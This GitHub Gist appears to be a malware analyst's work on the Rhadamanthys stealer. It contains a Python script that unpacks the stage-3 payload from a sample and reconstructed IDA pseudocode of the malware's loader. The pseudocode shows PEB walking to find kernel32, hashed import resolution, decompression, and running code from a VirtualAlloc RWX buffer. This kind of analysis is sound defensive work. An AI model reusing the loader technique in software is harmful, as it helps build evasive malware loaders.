Last active
March 18, 2023 16:10
-
-
Save oopsmishap/91f41810e41cecec7d7d3760bbc4ba67 to your computer and use it in GitHub Desktop.
Rhadamanthys stage3 unpacker
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import struct | |
def extract_stage3(stage3_buffer): | |
# struct stage3_header | |
# { | |
# uint32_t magic; | |
# uint16_t block_count; | |
# uint16_t header_size; | |
# uint32_t entry_offset; | |
# uint32_t rwx_buffer_size; | |
# _BYTE junk[24]; | |
# blocks_t blocks[]; | |
# }; | |
# | |
# struct blocks_t | |
# { | |
# uint32_t local_offset; | |
# uint32_t rwx_offset; | |
# uint32_t block_size; | |
# }; | |
stage3_header = stage3_buffer[:16] | |
magic, block_count, header_size, entry_offset, rwx_size = struct.unpack('<LHHLL', stage3_header) | |
rwx_buffer = bytearray(0) * rwx_size | |
# copy header | |
rwx_buffer[0:header_size] = stage3_buffer[0:header_size] | |
# copy blocks | |
block_idx = 0x28 | |
block_size = 0xC | |
for i in range(0, block_count): | |
block = stage3_buffer[block_idx:block_idx + block_size] | |
local_offset, rwx_offset, size = struct.unpack('<LLL', block) | |
rwx_buffer[rwx_offset:rwx_offset + size] = stage3_buffer[local_offset:local_offset + size] | |
block_idx += block_size | |
return entry_offset, bytes(rwx_buffer) | |
def unpack_stage3(stage3_buffer, buffer_size, stop_word): | |
# "somewhat" cleaned up IDA pseudocode output | |
v17 = 0 | |
idx = 0 | |
buffer_idx = 0 | |
out_buffer = [0] * buffer_size | |
local_buffer = [0] * 0x1012 | |
for i in range(0, 0xFEE): | |
local_buffer[i] = 0x20 | |
local_idx = 0xFEE | |
while True: | |
while True: | |
v17 = (v17 >> 1) & 0xffffffff | |
if v17 & 0x100 == 0: | |
if idx == stop_word: | |
return buffer_idx | |
curr_byte = stage3_buffer[idx] | 0xff00 | |
v17 = curr_byte | |
idx += 1 | |
if v17 & 1 == 0: | |
break | |
if idx == stop_word: | |
return buffer_idx | |
out_buffer[buffer_idx] = stage3_buffer[idx] | |
buffer_idx = buffer_idx + 1 | |
if buffer_idx >= buffer_size: | |
return buffer_idx | |
local_buffer[local_idx] = stage3_buffer[idx] | |
local_idx = (local_idx + 1) & 0xfff | |
idx += 1 | |
if idx == stop_word or (idx + 1) == stop_word: | |
break | |
v9 = stage3_buffer[idx + 1] | |
v12 = (16 * (v9 & 0xF0)) | stage3_buffer[idx] | |
v10 = (v9 & 0xF) + 2 | |
idx += 2 | |
for j in range(0, v10 + 1): | |
v14 = local_buffer[(j + v12) & 0xFFF] | |
out_buffer[buffer_idx] = v14 | |
buffer_idx += 1 | |
if buffer_idx >= buffer_size: | |
break | |
local_buffer[local_idx] = v14 | |
local_idx = (local_idx + 1) & 0xFFF | |
return buffer_idx, bytes(out_buffer) | |
STAGE3_OFFSET = 0x00020EA8 | |
STAGE3_SIZE = 0x1CAE4 | |
STOP_WORD = 0xFFDE | |
INPUT_PATH = r'./d4f37699c4b283418d1c73416436826e95858cf07f3c29e6af76e91db98e0fc0.bin' | |
OUTPUT_PATH = r'./stage3.bin' | |
with open(INPUT_PATH, 'rb') as f: | |
buf = f.read() | |
buf = buf[STAGE3_OFFSET:] | |
ret_size, stage_3 = unpack_stage3(buf, STAGE3_SIZE, STOP_WORD) | |
assert ret_size == STAGE3_SIZE, f'unpacked size mismatch, expected 0x{STAGE3_SIZE:x}, actual 0x{ret_size:x}' | |
entry_point, stage_3 = extract_stage3(stage_3) | |
with open(OUTPUT_PATH, 'wb') as ff: | |
ff.write(stage_3) | |
print(f'entrypoint : 0x{entry_point:x}') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// seg000:00020A68 ; --------------------------------------------------------------------------- | |
// seg000:00020A68 | |
// seg000:00020A68 mw__rhadamthys__entry_point: | |
// seg000:00020A68 E8 23 00 00 00 call mw__rhadamthys__entry | |
// seg000:00020A68 ; --------------------------------------------------------------------------- | |
// seg000:00020A6D 90 curr_esp db 90h | |
// seg000:00020A6E 90 db 90h | |
// seg000:00020A6F 90 db 90h | |
// seg000:00020A70 40 04 00 00 entry_struct dd 440h | |
// seg000:00020A74 DE FF 00 00 dd 0FFDEh | |
// seg000:00020A78 E4 CA 01 00 dd 1CAE4h | |
// seg000:00020A7C 54 CA AF 91 dd 91AFCA54h ; VirtualAlloc hash | |
// seg000:00020A80 AC 33 06 03 dd 30633ACh ; VirtualFree hash | |
// seg000:00020A84 FA 97 02 4C dd 4C0297FAh ; LocalAlloc hash | |
// seg000:00020A88 F6 EA BA 5C dd 5CBAEAF6h ; LocalFree hash | |
// seg000:00020A8C 90 db 90h | |
// seg000:00020A8D 90 db 90h | |
// seg000:00020A8E 90 db 90h | |
// seg000:00020A8F 90 db 90h | |
struct entry_data_t | |
{ | |
DWORD const_440h; | |
DWORD const_0FFDEh; | |
DWORD const_1CAE4h; | |
funcs_t kernel32_hash_table; | |
}; | |
struct funcs_t | |
{ | |
LPVOID (__stdcall *VirtualAlloc)(LPVOID, SIZE_T, MACRO_MEM, MACRO_PAGE); | |
BOOL (__stdcall *VirtualFree)(LPVOID, SIZE_T, DWORD); | |
HLOCAL (__stdcall *LocalAlloc)(UINT, SIZE_T); | |
HLOCAL (__stdcall *LocalFree)(HLOCAL); | |
}; | |
struct __declspec(align(4)) blocks_t | |
{ | |
uint32_t local_offset; | |
uint32_t rwx_offset; | |
uint32_t block_size; | |
}; | |
struct shellcode_header | |
{ | |
uint32_t magic; | |
uint16_t block_count; | |
uint16_t header_size; | |
uint32_t entry_offset; | |
uint32_t rwx_buffer_size; | |
_BYTE junk[24]; | |
blocks_t blocks[]; | |
}; | |
void __stdcall resolve_imports(IMAGE_DOS_HEADER *base_image, DWORD *arg_hash_table, DWORD *arg_func_table) | |
{ | |
IMAGE_NT_HEADERS *image_file_header; // eax | |
DWORD export_dir_va; // ecx | |
IMAGE_EXPORT_DIRECTORY *export_dir; // esi | |
char *functions; // edi | |
unsigned int func_hash; // eax | |
unsigned int number_of_hashes; // ecx | |
DWORD idx; // [esp+Ch] [ebp-8h] | |
unsigned __int16 *ordinals; // [esp+10h] [ebp-4h] | |
void *names; // [esp+1Ch] [ebp+8h] | |
if ( base_image->e_magic == 'ZM' ) | |
{ | |
image_file_header = (IMAGE_NT_HEADERS *)((char *)base_image + base_image->e_lfanew); | |
if ( image_file_header->Signature == 'EP' ) | |
{ | |
export_dir_va = image_file_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; | |
export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)base_image + export_dir_va); | |
if ( export_dir_va ) | |
{ | |
if ( image_file_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size ) | |
{ | |
idx = 0; | |
functions = (char *)base_image + export_dir->AddressOfFunctions; | |
if ( export_dir->NumberOfNames ) | |
{ | |
ordinals = (WORD *)((char *)&base_image->e_magic + export_dir->AddressOfNameOrdinals); | |
names = (char *)base_image + export_dir->AddressOfNames; | |
do | |
{ | |
func_hash = hash_ror13_add((char *)base_image + *(_DWORD *)names); | |
number_of_hashes = 0; | |
while ( *arg_hash_table != func_hash ) | |
{ | |
++number_of_hashes; | |
++arg_hash_table; | |
if ( number_of_hashes >= 4 ) | |
goto LABEL_12; | |
} | |
arg_func_table[number_of_hashes] = (DWORD)base_image + *(_DWORD *)&functions[4 * *ordinals]; | |
LABEL_12: | |
++idx; | |
names = (char *)names + 4; | |
++ordinals; | |
} | |
while ( idx < export_dir->NumberOfNames ); | |
} | |
} | |
} | |
} | |
} | |
} | |
uintptr_t __cdecl get_kernel32_base() | |
{ | |
uintptr_t ret_value; // edi | |
struct _PEB_LDR_DATA *ldr; // eax | |
struct _LIST_ENTRY *module_list; // edx | |
_LIST_ENTRY *curr; // eax ```LDR_DATA_TABLE_ENTRY+8``` | |
PWSTR dll_name; // ecx | |
ret_value = 0; | |
ldr = NtCurrentPeb()->Ldr; | |
if ( !ldr ) | |
return ret_value; | |
module_list = &ldr->InMemoryOrderModuleList; | |
for ( curr = ldr->InMemoryOrderModuleList.Flink; curr != module_list; curr = curr->Flink ) | |
{ | |
if ( CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)->BaseDllName.Length == 24 ) | |
{ | |
dll_name = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)->BaseDllName.Buffer; | |
if ( (*dll_name == 'k' || *dll_name == 'K') && dll_name[8] == '.' ) | |
return (uintptr_t)CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks)->DllBase; | |
} | |
} | |
return ret_value; | |
} | |
int __stdcall unpack_stage3( | |
funcs_t *arg_kernel32_funcs, | |
BYTE *stage3_buffer, | |
DWORD stop_byte, | |
BYTE *out_buffer, | |
DWORD buffer_size) | |
{ | |
unsigned int curr_byte; // eax | |
int idx; // [esp+0h] [ebp-28h] | |
int j; // [esp+4h] [ebp-24h] | |
BYTE v9; // [esp+8h] [ebp-20h] | |
int v10; // [esp+8h] [ebp-20h] | |
int i; // [esp+Ch] [ebp-1Ch] | |
__int16 v12; // [esp+Ch] [ebp-1Ch] | |
int lbuf_1_idx; // [esp+14h] [ebp-14h] | |
BYTE v14; // [esp+18h] [ebp-10h] | |
_BYTE *lbuf_1012h_2; // [esp+1Ch] [ebp-Ch] | |
int lbuf_2_idx; // [esp+20h] [ebp-8h] | |
unsigned int v17; // [esp+24h] [ebp-4h] | |
idx = 0; | |
lbuf_1_idx = 0; | |
lbuf_1012h_2 = arg_kernel32_funcs->LocalAlloc(LMEM_ZEROINIT, 0x1012); | |
if ( !lbuf_1012h_2 ) | |
return lbuf_1_idx; | |
for ( i = 0; i < 0xFEE; ++i ) // fill 0xFFE buffer with ' ' | |
lbuf_1012h_2[i] = ' '; | |
lbuf_2_idx = 0xFEE; | |
v17 = 0; | |
while ( 1 ) | |
{ | |
while ( 1 ) | |
{ | |
v17 >>= 1; | |
if ( (v17 & 0x100) == 0 ) | |
{ | |
if ( idx == stop_byte ) | |
goto free_local_buffer; | |
curr_byte = stage3_buffer[idx]; | |
BYTE1(curr_byte) = -1; | |
v17 = curr_byte; | |
++idx; | |
} | |
if ( (v17 & 1) == 0 ) | |
break; | |
if ( idx == stop_byte ) | |
goto free_local_buffer; | |
out_buffer[lbuf_1_idx] = stage3_buffer[idx]; | |
if ( ++lbuf_1_idx >= buffer_size ) | |
goto free_local_buffer; | |
lbuf_1012h_2[lbuf_2_idx] = stage3_buffer[idx]; | |
lbuf_2_idx = ((_WORD)lbuf_2_idx + 1) & 0xFFF; | |
++idx; | |
} | |
if ( idx == stop_byte || idx + 1 == stop_byte ) | |
break; | |
v9 = stage3_buffer[idx + 1]; | |
v12 = (16 * (v9 & 0xF0)) | stage3_buffer[idx]; | |
v10 = (v9 & 0xF) + 2; | |
idx += 2; | |
for ( j = 0; j <= v10; ++j ) | |
{ | |
v14 = lbuf_1012h_2[((_WORD)j + v12) & 0xFFF]; | |
out_buffer[lbuf_1_idx] = v14; | |
if ( ++lbuf_1_idx >= buffer_size ) | |
break; | |
lbuf_1012h_2[lbuf_2_idx] = v14; | |
lbuf_2_idx = ((_WORD)lbuf_2_idx + 1) & 0xFFF; | |
} | |
} | |
free_local_buffer: | |
(*(void (__stdcall **)(_BYTE *))((char *)&off_C + (_DWORD)arg_kernel32_funcs))(lbuf_1012h_2);// LocalFree | |
return lbuf_1_idx; | |
} | |
uintptr_t __stdcall mw::rhadamthys::entry::inner(entry_data_t *arg_entry_struct, int a2) | |
{ | |
uintptr_t kernel32; // eax | |
BYTE *stage3_entry; // ebx | |
shellcode_header *local_buffer; // esi | |
BYTE *rwx_buffer; // eax MAPDST | |
blocks_t *lbuf_2; // edi | |
funcs_t kernel32_func_table; // [esp+Ch] [ebp-14h] BYREF | |
UINT const_1CAE4h; // [esp+28h] [ebp+8h] | |
kernel32 = get_kernel32_base(); | |
stage3_entry = 0; | |
if ( !kernel32 ) | |
return kernel32; | |
rwx_buffer = 0; | |
resolve_imports( | |
(IMAGE_DOS_HEADER *)kernel32, | |
(DWORD *)&arg_entry_struct->kernel32_hash_table, | |
(DWORD *)&kernel32_func_table); | |
kernel32 = (uintptr_t)kernel32_func_table.LocalAlloc(LMEM_ZEROINIT, arg_entry_struct->const_1CAE4h);// LocalAlloc | |
local_buffer = (shellcode_header *)kernel32; | |
if ( !kernel32 ) | |
return kernel32; | |
const_1CAE4h = arg_entry_struct->const_1CAE4h; | |
if ( const_1CAE4h == unpack_stage3( | |
&kernel32_func_table, | |
(BYTE *)arg_entry_struct + arg_entry_struct->const_440h - 8, | |
arg_entry_struct->const_0FFDEh, | |
(BYTE *)kernel32, | |
arg_entry_struct->const_1CAE4h) | |
&& const_1CAE4h > 0x28 | |
&& local_buffer->header_size > 0x28u ) | |
{ | |
rwx_buffer = (BYTE *)kernel32_func_table.VirtualAlloc(// VirtualAlloc | |
0, | |
local_buffer->rwx_buffer_size, | |
MEM_COMMIT, | |
PAGE_EXECUTE_READWRITE); | |
if ( rwx_buffer ) | |
{ | |
lbuf_2 = local_buffer->blocks; | |
memcpy(rwx_buffer, (BYTE *)local_buffer, local_buffer->header_size); | |
if ( local_buffer->block_count ) | |
{ | |
do | |
{ | |
memcpy(&rwx_buffer[lbuf_2->rwx_offset], (BYTE *)local_buffer + lbuf_2->local_offset, lbuf_2->block_size); | |
++stage3_entry; // number of blocks | |
++lbuf_2; | |
} | |
while ( (unsigned __int16)stage3_entry < local_buffer->block_count ); | |
} | |
stage3_entry = &rwx_buffer[local_buffer->entry_offset]; | |
} | |
} | |
kernel32 = (uintptr_t)kernel32_func_table.LocalFree(local_buffer); | |
if ( stage3_entry ) | |
return ((int (__stdcall *)(BYTE *, int))stage3_entry)(rwx_buffer, a2); | |
return kernel32; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment